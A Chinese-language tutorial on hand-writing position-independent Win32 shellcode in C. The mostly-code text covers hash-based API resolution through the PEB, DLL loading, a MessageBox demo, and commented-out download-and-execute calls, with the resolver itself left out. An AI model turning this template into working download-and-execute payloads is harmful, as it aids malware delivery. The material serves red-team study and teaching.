Shellcode 是利用漏洞執行的位置無關機器碼。本文展示如何在 MSVC 6.0 環境下,純 C 語言編寫 Win32 Shellcode,實現動態解析 API 地址(Hash 法)、載入 DLL、彈出 MessageBox、下載檔案並執行,適合安全研究與紅隊演練參考。
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESS_HASH 0x00348bfa
// 簡易 Hash:大小寫不敏感,逐字元 rotate+add
DWORD HashString(LPCSTR str) {
DWORD h = 0;
while (*str) {
h = (h << 1) + (tolower(*str++) | 0x60);
}
return h;
}
// 內嵌組語實現 ResolvFuncAddr(略,見完整代碼)
// 關鍵步驟:
// 1. fs:[0x30] -> PEB
// 2. PEB->Ldr->InLoadOrderModuleList 遍歷模組
// 3. 比對模組名 Hash 找到 kernel32.dll
// 4. 解析其 Export Directory 找 LoadLibraryA / GetProcAddress
// 5. 透過它們載入 user32.dll、urlmon.dll、shell32.dll 並取業務 API
typedef struct {
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
HMODULE hUser32, hUrlmon, hShell32;
pMessageBoxA fMessageBoxA;
pShellExecuteA fShellExecuteA;
pURLDownloadToFileA fURLDownloadToFile;
} ShellCodeInfo;
void LoadShellcode(ShellCodeInfo *sc) {
sc->fMessageBoxA(NULL, "Hello Shellcode!", "Cryin", MB_OK);
// sc->fURLDownloadToFile(NULL, url, savepath, 0, NULL);
// sc->fShellExecuteA(NULL, "open", savepath, NULL, NULL, SW_SHOW);
}
void ShellCodeStart(void) {
__asm { call ShellcodeEntry; ret; }
}
void ShellcodeEntry() {
ShellCodeInfo sci = {0};
ResolvAddr(&sci.fLoadLibraryA, &sci.fGetProcAddressA);
sci.hUser32 = sci.fLoadLibraryA("User32.dll");
sci.hUrlmon = sci.fLoadLibraryA("Urlmon.dll");
sci.hShell32 = sci.fLoadLibraryA("Shell32.dll");
sci.fMessageBoxA = (pMessageBoxA)sci.fGetProcAddressA(sci.hUser32, "MessageBoxA");
// sci.fShellExecuteA = ...
// sci.fURLDownloadToFile = ...
LoadShellcode(&sci);
}
int main() {
ShellcodeEntry(); // 測試邏輯
// 實際提取:用 WinHex 依據 (PDWORD)main - (PDWORD)ShellCodeStart 截取機器碼
return 0;
}
本文代碼僅供授權環境下的安全研究、滲透測試、教學演示使用。未經授權在生產系統執行 Shellcode 屬非法行為,嚴禁用於惡意攻擊。